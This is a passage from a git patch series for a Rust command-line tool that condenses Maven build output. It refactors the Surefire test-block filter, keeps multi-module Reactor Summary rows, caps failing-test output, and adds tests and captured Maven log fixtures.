b/src/cmds/jvm/mvn_cmd.rs index a7599af779..884691e2d4 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -144,81 +144,193 @@ fn keep_outside_block(line: &str) -> bool { // ── Surefire block filter ─────────────────────────────────────────────────── -/// Buffered single-pass filter for `mvn test` / `mvn integration-test`. -/// -/// State machine: when a `[INFO] Running ` line is seen, start buffering -/// the block. When the close line arrives, decide: -/// - Failures == 0 && Errors == 0 → drop the block silently. -/// - Else → emit the block with framework frames stripped, then enter a -/// failure-trail mode that preserves the exception line and user-code -/// frames Surefire 3.x emits *after* the close line (until the next -/// blank line ends the trail). Raw durations are preserved — the -/// user/LLM needs them. +/// Shared state machine driving the inner Surefire block + failure-trail +/// behaviour for `filter_surefire` and `filter_package`. Each filter wraps it +/// with its own outside-block keep logic (`[WARNING]` dedup, module-banner +/// keep, `keep_continuation` for compile-error continuations, etc.) which is +/// applied on the [`SurefireStep::Passthrough`] arm. /// -/// English-footer guard: if no `BUILD SUCCESS`/`BUILD FAILURE` line is present, -/// return the ANSI-stripped raw input (non-English locale or truncated output). -pub fn filter_surefire(raw: &str) -> String { - let stripped = strip_ansi(raw); - if !has_english_footer(&stripped) { - return stripped; - } +/// Inner machine responsibilities: +/// - `[INFO] --- … @ … ---` plugin banner skip +/// - `[INFO] Running ` opens a buffered block (flushes any prior open +/// block as keep — happens on truncated output) +/// - in-block buffering until the next CLOSE line +/// - CLOSE with `Failures > 0` or `Errors > 0` → yields +/// [`SurefireStep::FailingClose`] so the outer loop can decide whether to +/// emit (Commit D uses this seam to enforce `mvn_max_failures`) +/// - failure-trail handling for the exception/user-frame trail Surefire 3.x +/// emits **after** the close line, terminated by a blank line. Framework +/// frames (junit, jdk.proxy, java.base, etc.) are stripped from both the +/// buffered block and the trail; user-code frames are preserved. +struct SurefireBlock { + block_lines: Vec, + block_running: Option, + in_block: bool, + failure_trail: bool, +} - let mut out = String::new(); - let mut block_lines: Vec = Vec::new(); - let mut block_running: Option = None; - let mut in_block = false; - let mut failure_trail = false; - let mut keep_continuation = false; +enum SurefireStep { + /// Inner machine consumed the line; outer loop should `continue;`. + Consumed, + /// A CLOSE line with `Failures > 0` or `Errors > 0` was reached. Outer + /// loop decides whether to commit (via [`SurefireBlock::commit_failing`]). + FailingClose { + running: Option, + lines: Vec, + close: String, + }, + /// Inner machine did not handle the line; outer loop applies its own + /// outside-block keep logic. + Passthrough, +} - for line in stripped.lines() { +impl SurefireBlock { + fn new() -> Self { + Self { + block_lines: Vec::new(), + block_running: None, + in_block: false, + failure_trail: false, + } + } + + fn step(&mut self, line: &str, out: &mut String) -> SurefireStep { if PLUGIN_BANNER.is_match(line) { - continue; + return SurefireStep::Consumed; } if RUNNING.is_match(line) { - if in_block { - flush_block_as_keep(&mut out, &block_running, &block_lines); + if self.in_block { + self.flush_open_block_as_keep(out); } - block_lines.clear(); - block_running = Some(line.to_string()); - in_block = true; - failure_trail = false; - keep_continuation = false; - continue; + self.block_lines.clear(); + self.block_running = Some(line.to_string()); + self.in_block = true; + self.failure_trail = false; + return SurefireStep::Consumed; } - if in_block { + if self.in_block { if let Some(caps) = CLOSE.captures(line) { let fail = caps.get(1).map(|m| m.as_str() != "0").unwrap_or(false); let err = caps.get(2).map(|m| m.as_str() != "0").unwrap_or(false); if fail || err { - emit_block(&mut out, &block_running, &block_lines); - out.push_str(line); - out.push('\n'); - failure_trail = true; + let lines = std::mem::take(&mut self.block_lines); + let running = self.block_running.take(); + self.in_block = false; + return SurefireStep::FailingClose { + running, + lines, + close: line.to_string(), + }; } - block_lines.clear(); - block_running = None; - in_block = false; - continue; + self.block_lines.clear(); + self.block_running = None; + self.in_block = false; + return SurefireStep::Consumed; } - block_lines.push(line.to_string()); - continue; + self.block_lines.push(line.to_string()); + return SurefireStep::Consumed; } - if failure_trail { + if self.failure_trail { if line.is_empty() { out.push('\n'); - failure_trail = false; - continue; + self.failure_trail = false; + return SurefireStep::Consumed; } let t = line.trim_start(); if t.starts_with("at ") && is_framework_frame(t) { - continue; + return SurefireStep::Consumed; } out.push_str(line); out.push('\n'); - continue; + return SurefireStep::Consumed; + } + + SurefireStep::Passthrough + } + + /// Commit a `FailingClose` to `out`: writes `running`, then `lines` (with + /// framework frames stripped), then `close`. Enables `failure_trail` so + /// the post-close exception/user-frame trail is preserved. + fn commit_failing( + &mut self, + out: &mut String, + running: Option<&str>, + lines: &[String], + close: &str, + ) { + if let Some(r) = running { + out.push_str(r); + out.push('\n'); + } + for l in lines { + let t = l.trim_start(); + if t.starts_with("at ") && is_framework_frame(t) { + continue; + } + out.push_str(l); + out.push('\n'); + } + out.push_str(close); + out.push('\n'); + self.failure_trail = true; + } + + /// End-of-stream flush: if a block opened and never closed (truncated + /// output), surface what we have rather than dropping it silently. + fn finish(&mut self, out: &mut String) { + if self.in_block { + self.flush_open_block_as_keep(out); + } + } + + fn flush_open_block_as_keep(&mut self, out: &mut String) { + if let Some(r) = self.block_running.take() { + out.push_str(&r); + out.push('\n'); + } + for l in self.block_lines.drain(..) { + out.push_str(&l); + out.push('\n'); + } + self.in_block = false; + } +} + +/// Buffered single-pass filter for `mvn test` / `mvn integration-test`. +/// +/// Drives [`SurefireBlock`] for the inner block/trail machine; applies the +/// outside-block keep-list with `keep_continuation` for indented compile-error +/// continuations (`symbol:` / `location:` after a `[ERROR] cannot find symbol` +/// line). +/// +/// English-footer guard: if no `BUILD SUCCESS`/`BUILD FAILURE` line is present, +/// return the ANSI-stripped raw input (non-English locale or truncated output). +pub fn filter_surefire(raw: &str) -> String { + let stripped = strip_ansi(raw); + if !has_english_footer(&stripped) { + return stripped; + } + + let mut out = String::new(); + let mut block = SurefireBlock::new(); + let mut keep_continuation = false; + + for line in stripped.lines() { + match block.step(line, &mut out) { + SurefireStep::Consumed => continue, + SurefireStep::FailingClose { + running, + lines, + close, + } => { + block.commit_failing(&mut out, running.as_deref(), &lines, &close); + keep_continuation = false; + continue; + } + SurefireStep::Passthrough => {} } if keep_continuation && (line.starts_with(' ') || line.starts_with('\t')) { @@ -238,38 +350,10 @@ pub fn filter_surefire(raw: &str) -> String { } } - if in_block { - flush_block_as_keep(&mut out, &block_running, &block_lines); - } + block.finish(&mut out); out } -fn flush_block_as_keep(out: &mut String, running: &Option, lines: &[String]) { - if let Some(r) = running { - out.push_str(r); - out.push('\n'); - } - for l in lines { - out.push_str(l); - out.push('\n'); - } -} - -fn emit_block(out: &mut String, running: &Option, lines: &[String]) { - if let Some(r) = running { - out.push_str(r); - out.push('\n'); - } - for l in lines { - let t = l.trim_start(); - if t.starts_with("at ") && is_framework_frame(t) { - continue; - } - out.push_str(l); - out.push('\n'); - } -} - // ── Compile filter ────────────────────────────────────────────────────────── /// Buffered single-pass filter for `mvn compile` / `test-compile`. @@ -350,62 +434,23 @@ pub fn filter_package(raw: &str) -> String { } let mut out = String::new(); - let mut block_lines: Vec = Vec::new(); - let mut block_running: Option = None; - let mut in_block = false; + let mut block = SurefireBlock::new(); let mut keep_continuation = false; - let mut failure_trail = false; let mut seen_warnings: HashSet = HashSet::new(); for line in stripped.lines() { - if PLUGIN_BANNER.is_match(line) { - continue; - } - - if RUNNING.is_match(line) { - if in_block { - flush_block_as_keep(&mut out, &block_running, &block_lines); - } - block_lines.clear(); - block_running = Some(line.to_string()); - in_block = true; - keep_continuation = false; - failure_trail = false; - continue; - } - - if in_block { - if let Some(caps) = CLOSE.captures(line) { - let fail = caps.get(1).map(|m| m.as_str() != "0").unwrap_or(false); - let err = caps.get(2).map(|m| m.as_str() != "0").unwrap_or(false); - if fail || err { - emit_block(&mut out, &block_running, &block_lines); - out.push_str(line); - out.push('\n'); - failure_trail = true; - } - block_lines.clear(); - block_running = None; - in_block = false; - continue; - } - block_lines.push(line.to_string()); - continue; - } - - if failure_trail { - if line.is_empty() { - out.push('\n'); - failure_trail = false; - continue; - } - let t = line.trim_start(); - if t.starts_with("at ") && is_framework_frame(t) { + match block.step(line, &mut out) { + SurefireStep::Consumed => continue, + SurefireStep::FailingClose { + running, + lines, + close, + } => { + block.commit_failing(&mut out, running.as_deref(), &lines, &close); + keep_continuation = false; continue; } - out.push_str(line); - out.push('\n'); - continue; + SurefireStep::Passthrough => {} } // Outside any Surefire block: compile-keep AND surefire-outside-keep merge. @@ -437,9 +482,7 @@ pub fn filter_package(raw: &str) -> String { keep_continuation = false; } - if in_block { - flush_block_as_keep(&mut out, &block_running, &block_lines); - } + block.finish(&mut out); out } From 460910267b8a8876f4459ee93cbef074a61c39b6 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Mon, 25 May 2026 13:48:26 -0300 Subject: [PATCH 144/257] fix(mvn): keep multi-module Reactor Summary rows MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit In a reactor build (parent pom with ``), Maven appends a `Reactor Summary for ` block at the end listing each module's status: [INFO] Reactor Summary for multi-module-skeleton 1.0.0-SNAPSHOT: [INFO] [INFO] multi-module-skeleton ...... SUCCESS [ 0.353 s] [INFO] child-a .................... SUCCESS [ 1.676 s] [INFO] child-b .................... FAILURE [ 0.940 s] `filter_surefire` / `filter_package` were dropping these rows because `keep_outside_block` only keeps `[INFO]` lines that match a specific prefix (`Building`, `Installing`, `Total time:`, etc.). The per-module status rows match none of them. Add a `REACTOR_SUMMARY` regex and `reactor_summary_keep` helper that toggles a flag on the header and clears it on `BUILD SUCCESS` / `BUILD FAILURE`. While the flag is set the helper returns `true` so the rows survive — including `[WARNING]` (activated-profile notices) and the in-summary horizontal rule. Caller invokes the helper before `keep_outside_block` so the clears-flag side effect runs regardless of `||` short-circuit. Fixtures captured against a hand-rolled 2-module skeleton checked in under `tests/fixtures/multi-module-skeleton/` (parent pom + child-a + child-b with `Empty.java` stubs). The fail fixture is captured by temporarily replacing child-b's `Empty.java` with one that references a `BogusType` symbol. Reproducible from the committed skeleton. --- src/cmds/jvm/mvn_cmd.rs | 105 +++++++++++++++++- .../multi-module-skeleton/child-a/pom.xml | 11 ++ .../child-a/src/main/java/Empty.java | 1 + .../multi-module-skeleton/child-b/pom.xml | 11 ++ .../child-b/src/main/java/Empty.java | 1 + tests/fixtures/multi-module-skeleton/pom.xml | 17 +++ tests/fixtures/mvn_reactor_fail_slice_raw.txt | 87 +++++++++++++++ tests/fixtures/mvn_reactor_pass_slice_raw.txt | 79 +++++++++++++ 8 files changed, 310 insertions(+), 2 deletions(-) create mode 100644 tests/fixtures/multi-module-skeleton/child-a/pom.xml create mode 100644 tests/fixtures/multi-module-skeleton/child-a/src/main/java/Empty.java create mode 100644 tests/fixtures/multi-module-skeleton/child-b/pom.xml create mode 100644 tests/fixtures/multi-module-skeleton/child-b/src/main/java/Empty.java create mode 100644 tests/fixtures/multi-module-skeleton/pom.xml create mode 100644 tests/fixtures/mvn_reactor_fail_slice_raw.txt create mode 100644 tests/fixtures/mvn_reactor_pass_slice_raw.txt diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index 884691e2d4..3e302f86bb 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -46,6 +46,10 @@ lazy_static! { /// Module banner with project name in brackets. static ref MODULE_BANNER: Regex = Regex::new(r"^\[INFO\] -+< .+ >-+$").unwrap(); + /// Reactor summary header that opens the per-module pass/fail block at + /// the end of a multi-module build. + static ref REACTOR_SUMMARY: Regex = Regex::new(r"^\[INFO\] Reactor Summary for ").unwrap(); + /// Compile-error coordinate substring to strip when deduping warnings/errors. static ref FILE_COORD: Regex = Regex::new(r"/[^:]+\.java:\[\d+,\d+\]").unwrap(); } @@ -124,6 +128,27 @@ fn has_english_footer(stripped: &str) -> bool { // ── Outside-block keep list (shared by surefire + package) ────────────────── +/// Multi-module reactor summary keeper. Reads `in_reactor_summary` and toggles +/// it on `[INFO] Reactor Summary for …` (enter) and `BUILD SUCCESS`/`BUILD +/// FAILURE` (exit). Returns `true` for every line while the flag is set so the +/// per-module status rows (`[INFO] foo ...... SUCCESS [ 1.234 s]`, plain +/// `[INFO]` separators inside the summary, etc.) survive. Returns `false` +/// otherwise — the caller's outside-block keep-list still applies. +/// +/// Designed to be called **before** `keep_outside_block` so the `BUILD_FOOT` +/// clears-flag side effect always runs regardless of `||` short-circuit. +fn reactor_summary_keep(line: &str, in_reactor_summary: &mut bool) -> bool { + if REACTOR_SUMMARY.is_match(line) { + *in_reactor_summary = true; + return true; + } + if BUILD_FOOT.is_match(line) { + *in_reactor_summary = false; + return false; + } + *in_reactor_summary +} + fn keep_outside_block(line: &str) -> bool { RESULTS.is_match(line) || AGG.is_match(line) @@ -317,6 +342,7 @@ pub fn filter_surefire(raw: &str) -> String { let mut out = String::new(); let mut block = SurefireBlock::new(); let mut keep_continuation = false; + let mut in_reactor_summary = false; for line in stripped.lines() { match block.step(line, &mut out) { @@ -339,7 +365,10 @@ pub fn filter_surefire(raw: &str) -> String { continue; } - if keep_outside_block(line) { + // Order matters: call reactor_summary_keep first so its BUILD_FOOT + // clears-flag side effect always runs regardless of `||` short-circuit. + let reactor_keep = reactor_summary_keep(line, &mut in_reactor_summary); + if reactor_keep || keep_outside_block(line) { out.push_str(line); out.push('\n'); keep_continuation = line.starts_with("[ERROR]") @@ -436,6 +465,7 @@ pub fn filter_package(raw: &str) -> String { let mut out = String::new(); let mut block = SurefireBlock::new(); let mut keep_continuation = false; + let mut in_reactor_summary = false; let mut seen_warnings: HashSet = HashSet::new(); for line in stripped.lines() { @@ -453,8 +483,11 @@ pub fn filter_package(raw: &str) -> String { SurefireStep::Passthrough => {} } + // Order matters: call reactor_summary_keep first so its BUILD_FOOT + // clears-flag side effect always runs regardless of `||` short-circuit. + let reactor_keep = reactor_summary_keep(line, &mut in_reactor_summary); // Outside any Surefire block: compile-keep AND surefire-outside-keep merge. - if MODULE_BANNER.is_match(line) || keep_outside_block(line) { + if reactor_keep || MODULE_BANNER.is_match(line) || keep_outside_block(line) { out.push_str(line); out.push('\n'); keep_continuation = line.starts_with("[ERROR]") @@ -1027,6 +1060,74 @@ mod tests { ); } + // ── Multi-module reactor summary ───────────────────────────────────────── + + /// `mvn install` on a multi-module reactor build that passes everywhere + /// must preserve the `Reactor Summary for ` header and the per-module + /// `[INFO] foo ...... SUCCESS [ 1.234 s]` rows. + #[test] + fn reactor_summary_kept_on_multi_module_pass() { + let i = include_str!("../../../tests/fixtures/mvn_reactor_pass_slice_raw.txt"); + let o = filter_package(i); + assert!( + o.contains("Reactor Summary for multi-module-skeleton"), + "reactor summary header preserved; got:\n{}", + o + ); + assert!( + o.contains("[INFO] child-a ............................................ SUCCESS"), + "per-module SUCCESS row preserved; got:\n{}", + o + ); + assert!( + o.contains("[INFO] child-b ............................................ SUCCESS"), + "second per-module SUCCESS row preserved; got:\n{}", + o + ); + assert!( + o.contains("BUILD SUCCESS"), + "footer preserved; got:\n{}", + o + ); + } + + /// `mvn install` on a multi-module reactor build where one module fails + /// must preserve the Reactor Summary with the `FAILURE` row plus the + /// `[ERROR] Failed to execute goal …` terminator that already survives + /// via `keep_outside_block`. + #[test] + fn reactor_summary_kept_on_multi_module_fail() { + let i = include_str!("../../../tests/fixtures/mvn_reactor_fail_slice_raw.txt"); + let o = filter_package(i); + assert!( + o.contains("Reactor Summary for multi-module-skeleton"), + "reactor summary header preserved; got:\n{}", + o + ); + assert!( + o.contains("child-a ............................................ SUCCESS"), + "successful module row preserved; got:\n{}", + o + ); + assert!( + o.contains("child-b ............................................ FAILURE"), + "failing module row preserved; got:\n{}", + o + ); + assert!(o.contains("BUILD FAILURE"), "footer preserved; got:\n{}", o); + assert!( + o.contains("[ERROR] Failed to execute goal"), + "goal terminator preserved; got:\n{}", + o + ); + let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); + assert!( + savings >= 30.0, + "reactor-fail slice savings >=30% (short fixture); got {:.1}%", + savings + ); + } + // ── Compile filter ─────────────────────────────────────────────────────── #[test] diff --git a/tests/fixtures/multi-module-skeleton/child-a/pom.xml b/tests/fixtures/multi-module-skeleton/child-a/pom.xml new file mode 100644 index 0000000000..8aeb11df9f --- /dev/null +++ b/tests/fixtures/multi-module-skeleton/child-a/pom.xml @@ -0,0 +1,11 @@ + + + 4.0.0 + + com.example.rtk + multi-module-skeleton + 1.0.0-SNAPSHOT + + child-a + jar + diff --git a/tests/fixtures/multi-module-skeleton/child-a/src/main/java/Empty.java b/tests/fixtures/multi-module-skeleton/child-a/src/main/java/Empty.java new file mode 100644 index 0000000000..9a9956e0e1 --- /dev/null +++ b/tests/fixtures/multi-module-skeleton/child-a/src/main/java/Empty.java @@ -0,0 +1 @@ +public class Empty {} diff --git a/tests/fixtures/multi-module-skeleton/child-b/pom.xml b/tests/fixtures/multi-module-skeleton/child-b/pom.xml new file mode 100644 index 0000000000..3ea22fc114 --- /dev/null +++ b/tests/fixtures/multi-module-skeleton/child-b/pom.xml @@ -0,0 +1,11 @@ + + + 4.0.0 + + com.example.rtk + multi-module-skeleton + 1.0.0-SNAPSHOT + + child-b + jar + diff --git a/tests/fixtures/multi-module-skeleton/child-b/src/main/java/Empty.java b/tests/fixtures/multi-module-skeleton/child-b/src/main/java/Empty.java new file mode 100644 index 0000000000..9a9956e0e1 --- /dev/null +++ b/tests/fixtures/multi-module-skeleton/child-b/src/main/java/Empty.java @@ -0,0 +1 @@ +public class Empty {} diff --git a/tests/fixtures/multi-module-skeleton/pom.xml b/tests/fixtures/multi-module-skeleton/pom.xml new file mode 100644 index 0000000000..a40a3c786b --- /dev/null +++ b/tests/fixtures/multi-module-skeleton/pom.xml @@ -0,0 +1,17 @@ + + + 4.0.0 + com.example.rtk + multi-module-skeleton + 1.0.0-SNAPSHOT + pom + + child-a + child-b + + + 21 + 21 + UTF-8 + + diff --git a/tests/fixtures/mvn_reactor_fail_slice_raw.txt b/tests/fixtures/mvn_reactor_fail_slice_raw.txt new file mode 100644 index 0000000000..dae81e9110 --- /dev/null +++ b/tests/fixtures/mvn_reactor_fail_slice_raw.txt @@ -0,0 +1,87 @@ +[INFO] Scanning for projects... +[INFO] ------------------------------------------------------------------------ +[INFO] Reactor Build Order: +[INFO] +[INFO] multi-module-skeleton [pom] +[INFO] child-a [jar] +[INFO] child-b [jar] +[INFO] +[INFO] ---------------< com.example.rtk:multi-module-skeleton >---------------- +[INFO] Building multi-module-skeleton 1.0.0-SNAPSHOT [1/3] +[INFO] from pom.xml +[INFO] --------------------------------[ pom ]--------------------------------- +[INFO] +[INFO] --- install:3.1.2:install (default-install) @ multi-module-skeleton --- +[INFO] Installing /tmp/rtk-reactor/pom.xml to /home/vcyber/.m2/repository/com/example/rtk/multi-module-skeleton/1.0.0-SNAPSHOT/multi-module-skeleton-1.0.0-SNAPSHOT.pom +[INFO] +[INFO] ----------------------< com.example.rtk:child-a >----------------------- +[INFO] Building child-a 1.0.0-SNAPSHOT [2/3] +[INFO] from child-a/pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- resources:3.3.1:resources (default-resources) @ child-a --- +[INFO] skip non existing resourceDirectory /tmp/rtk-reactor/child-a/src/main/resources +[INFO] +[INFO] --- compiler:3.13.0:compile (default-compile) @ child-a --- +[INFO] Nothing to compile - all classes are up to date. +[INFO] +[INFO] --- resources:3.3.1:testResources (default-testResources) @ child-a --- +[INFO] skip non existing resourceDirectory /tmp/rtk-reactor/child-a/src/test/resources +[INFO] +[INFO] --- compiler:3.13.0:testCompile (default-testCompile) @ child-a --- +[INFO] No sources to compile +[INFO] +[INFO] --- surefire:2.17:test (default-test) @ child-a --- +[INFO] No tests to run. +[INFO] +[INFO] --- jar:3.1.2:jar (default-jar) @ child-a --- +[INFO] +[INFO] --- install:3.1.2:install (default-install) @ child-a --- +[INFO] Installing /tmp/rtk-reactor/child-a/pom.xml to /home/vcyber/.m2/repository/com/example/rtk/child-a/1.0.0-SNAPSHOT/child-a-1.0.0-SNAPSHOT.pom +[INFO] Installing /tmp/rtk-reactor/child-a/target/child-a-1.0.0-SNAPSHOT.jar to /home/vcyber/.m2/repository/com/example/rtk/child-a/1.0.0-SNAPSHOT/child-a-1.0.0-SNAPSHOT.jar +[INFO] +[INFO] ----------------------< com.example.rtk:child-b >----------------------- +[INFO] Building child-b 1.0.0-SNAPSHOT [3/3] +[INFO] from child-b/pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- resources:3.3.1:resources (default-resources) @ child-b --- +[INFO] skip non existing resourceDirectory /tmp/rtk-reactor/child-b/src/main/resources +[INFO] +[INFO] --- compiler:3.13.0:compile (default-compile) @ child-b --- +[INFO] Recompiling the module because of changed source code. +[INFO] Compiling 1 source file with javac [debug target 21] to target/classes +[INFO] ------------------------------------------------------------- +[ERROR] COMPILATION ERROR : +[INFO] ------------------------------------------------------------- +[ERROR] /tmp/rtk-reactor/child-b/src/main/java/Empty.java:[1,22] cannot find symbol + symbol: class BogusType + location: class Empty +[INFO] 1 error +[INFO] ------------------------------------------------------------- +[INFO] ------------------------------------------------------------------------ +[INFO] Reactor Summary for multi-module-skeleton 1.0.0-SNAPSHOT: +[INFO] +[INFO] multi-module-skeleton .............................. SUCCESS [ 0.369 s] +[INFO] child-a ............................................ SUCCESS [ 1.657 s] +[INFO] child-b ............................................ FAILURE [ 0.940 s] +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD FAILURE +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 3.193 s +[INFO] Finished at: 2026-05-25T12:11:41-03:00 +[INFO] ------------------------------------------------------------------------ +[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.13.0:compile (default-compile) on project child-b: Compilation failure +[ERROR] /tmp/rtk-reactor/child-b/src/main/java/Empty.java:[1,22] cannot find symbol +[ERROR] symbol: class BogusType +[ERROR] location: class Empty +[ERROR] -> [Help 1] +[ERROR] +[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. +[ERROR] Re-run Maven using the -X switch to enable full debug logging. +[ERROR] +[ERROR] For more information about the errors and possible solutions, please read the following articles: +[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException +[ERROR] +[ERROR] After correcting the problems, you can resume the build with the command +[ERROR] mvn -rf :child-b diff --git a/tests/fixtures/mvn_reactor_pass_slice_raw.txt b/tests/fixtures/mvn_reactor_pass_slice_raw.txt new file mode 100644 index 0000000000..54c01c9caa --- /dev/null +++ b/tests/fixtures/mvn_reactor_pass_slice_raw.txt @@ -0,0 +1,79 @@ +[INFO] Scanning for projects... +[INFO] ------------------------------------------------------------------------ +[INFO] Reactor Build Order: +[INFO] +[INFO] multi-module-skeleton [pom] +[INFO] child-a [jar] +[INFO] child-b [jar] +[INFO] +[INFO] ---------------< com.example.rtk:multi-module-skeleton >---------------- +[INFO] Building multi-module-skeleton 1.0.0-SNAPSHOT [1/3] +[INFO] from pom.xml +[INFO] --------------------------------[ pom ]--------------------------------- +[INFO] +[INFO] --- install:3.1.2:install (default-install) @ multi-module-skeleton --- +[INFO] Installing /tmp/rtk-reactor/pom.xml to /home/vcyber/.m2/repository/com/example/rtk/multi-module-skeleton/1.0.0-SNAPSHOT/multi-module-skeleton-1.0.0-SNAPSHOT.pom +[INFO] +[INFO] ----------------------< com.example.rtk:child-a >----------------------- +[INFO] Building child-a 1.0.0-SNAPSHOT [2/3] +[INFO] from child-a/pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- resources:3.3.1:resources (default-resources) @ child-a --- +[INFO] skip non existing resourceDirectory /tmp/rtk-reactor/child-a/src/main/resources +[INFO] +[INFO] --- compiler:3.13.0:compile (default-compile) @ child-a --- +[INFO] Nothing to compile - all classes are up to date. +[INFO] +[INFO] --- resources:3.3.1:testResources (default-testResources) @ child-a --- +[INFO] skip non existing resourceDirectory /tmp/rtk-reactor/child-a/src/test/resources +[INFO] +[INFO] --- compiler:3.13.0:testCompile (default-testCompile) @ child-a --- +[INFO] No sources to compile +[INFO] +[INFO] --- surefire:2.17:test (default-test) @ child-a --- +[INFO] No tests to run. +[INFO] +[INFO] --- jar:3.1.2:jar (default-jar) @ child-a --- +[INFO] +[INFO] --- install:3.1.2:install (default-install) @ child-a --- +[INFO] Installing /tmp/rtk-reactor/child-a/pom.xml to /home/vcyber/.m2/repository/com/example/rtk/child-a/1.0.0-SNAPSHOT/child-a-1.0.0-SNAPSHOT.pom +[INFO] Installing /tmp/rtk-reactor/child-a/target/child-a-1.0.0-SNAPSHOT.jar to /home/vcyber/.m2/repository/com/example/rtk/child-a/1.0.0-SNAPSHOT/child-a-1.0.0-SNAPSHOT.jar +[INFO] +[INFO] ----------------------< com.example.rtk:child-b >----------------------- +[INFO] Building child-b 1.0.0-SNAPSHOT [3/3] +[INFO] from child-b/pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- resources:3.3.1:resources (default-resources) @ child-b --- +[INFO] skip non existing resourceDirectory /tmp/rtk-reactor/child-b/src/main/resources +[INFO] +[INFO] --- compiler:3.13.0:compile (default-compile) @ child-b --- +[INFO] Nothing to compile - all classes are up to date. +[INFO] +[INFO] --- resources:3.3.1:testResources (default-testResources) @ child-b --- +[INFO] skip non existing resourceDirectory /tmp/rtk-reactor/child-b/src/test/resources +[INFO] +[INFO] --- compiler:3.13.0:testCompile (default-testCompile) @ child-b --- +[INFO] No sources to compile +[INFO] +[INFO] --- surefire:2.17:test (default-test) @ child-b --- +[INFO] No tests to run. +[INFO] +[INFO] --- jar:3.1.2:jar (default-jar) @ child-b --- +[INFO] +[INFO] --- install:3.1.2:install (default-install) @ child-b --- +[INFO] Installing /tmp/rtk-reactor/child-b/pom.xml to /home/vcyber/.m2/repository/com/example/rtk/child-b/1.0.0-SNAPSHOT/child-b-1.0.0-SNAPSHOT.pom +[INFO] Installing /tmp/rtk-reactor/child-b/target/child-b-1.0.0-SNAPSHOT.jar to /home/vcyber/.m2/repository/com/example/rtk/child-b/1.0.0-SNAPSHOT/child-b-1.0.0-SNAPSHOT.jar +[INFO] ------------------------------------------------------------------------ +[INFO] Reactor Summary for multi-module-skeleton 1.0.0-SNAPSHOT: +[INFO] +[INFO] multi-module-skeleton .............................. SUCCESS [ 0.353 s] +[INFO] child-a ............................................ SUCCESS [ 1.676 s] +[INFO] child-b ............................................ SUCCESS [ 0.069 s] +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD SUCCESS +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 2.284 s +[INFO] Finished at: 2026-05-25T12:11:31-03:00 +[INFO] ------------------------------------------------------------------------ From be6c812416610f91025df2b49735c61c5f075fb3 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Mon, 25 May 2026 13:56:00 -0300 Subject: [PATCH 145/257] feat(mvn): cap failing-class blocks and Failures summary entries MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `filter_surefire` / `filter_package` emitted unbounded output on builds with hundreds of failures — the per-class failing blocks (with their post-close exception trail) plus every `[ERROR] ClassA.test:N …` entry in the `[ERROR] Failures:` summary were all kept. Other RTK filters (git/cargo/lint) already cap with `... +N more` tails; bring mvn in line. Add `LimitsConfig::mvn_max_failures` (default 25, matching the `grep_max_per_file: 25` convention in the same struct; `0` = opt out) and wire it into two cap sites: 1. Failing-class blocks. The shared `SurefireBlock::step()` machine yields `FailingClose` once per failing class; the outer loop now commits the first N and calls a new `drop_failing()` for the rest. `drop_failing()` enables a `drop_trail` flag so the post-close per-test subline, exception, and user frames are consumed silently until the next blank line. After the loop, if any were dropped, `\n... +N more failing test classes\n` is appended. 2. `[ERROR] Failures:` summary block. New `FailuresSummaryCap` helper tracks the header, caps `[ERROR] ` entries at the same limit, and pre-emits `\n... +N more failures\n` immediately before the aggregate `[ERROR] Tests run: …` line. Tail wording follows the existing repo convention — no `[INFO]` prefix, no parenthetical hint (`cargo_cmd.rs:1035` uses the same `\n... +N more failures\n` verbatim). Tests: - `surefire_caps_failing_blocks_emits_tail` — synthetic 5-failure fixture with `cap = 3`; asserts blocks 1-3 emitted, 4-5 dropped, tail emitted. - `surefire_cap_zero_disables_capping` — same fixture with `cap = 0`; all 5 blocks kept, no tail. - `failures_summary_block_is_capped` — 5-entry summary with `cap = 3`; asserts entries 1-3 kept, 4-5 dropped, tail emitted *before* the aggregate. Behaviour-change note: the default cap of 25 means users without a custom config get a bounded output for the first time. Existing fixtures all have <25 failures so no current test diffs. --- src/cmds/jvm/README.md | 2 + src/cmds/jvm/mvn_cmd.rs | 323 +++++++++++++++++++++++++++++++++++++++- src/core/config.rs | 6 + 3 files changed, 328 insertions(+), 3 deletions(-) diff --git a/src/cmds/jvm/README.md b/src/cmds/jvm/README.md index 67706cefe1..49a3dbcd89 100644 --- a/src/cmds/jvm/README.md +++ b/src/cmds/jvm/README.md @@ -26,6 +26,8 @@ Key behaviours: - **Surefire block collapse** — Surefire emits `[INFO] Running ` … `[INFO] Tests run: N, Failures: F, Errors: E, …, Time elapsed: T s - in `. The filter buffers each block and emits it only when `F > 0` or `E > 0`. Passing blocks (the bulk of healthy-project output) are dropped silently. Failing blocks are emitted with framework stack frames stripped via a deny-list (`at org.junit.`, `at java.util.`, `at sun.reflect.`, etc.). - **Duration normalisation** — `Time elapsed: 2.341 s` → `Time elapsed: T s` and `[INFO] Total time: 49.550 s` → `[INFO] Total time: T s` for deterministic test output. - **Wrapper detection** — `./mvnw` (POSIX) and `mvnw.cmd` (Windows) detected via string-literal `Command::new` (semgrep-safe); falls back to `resolved_command("mvn")`. +- **Reactor Summary preservation** — for multi-module builds, the 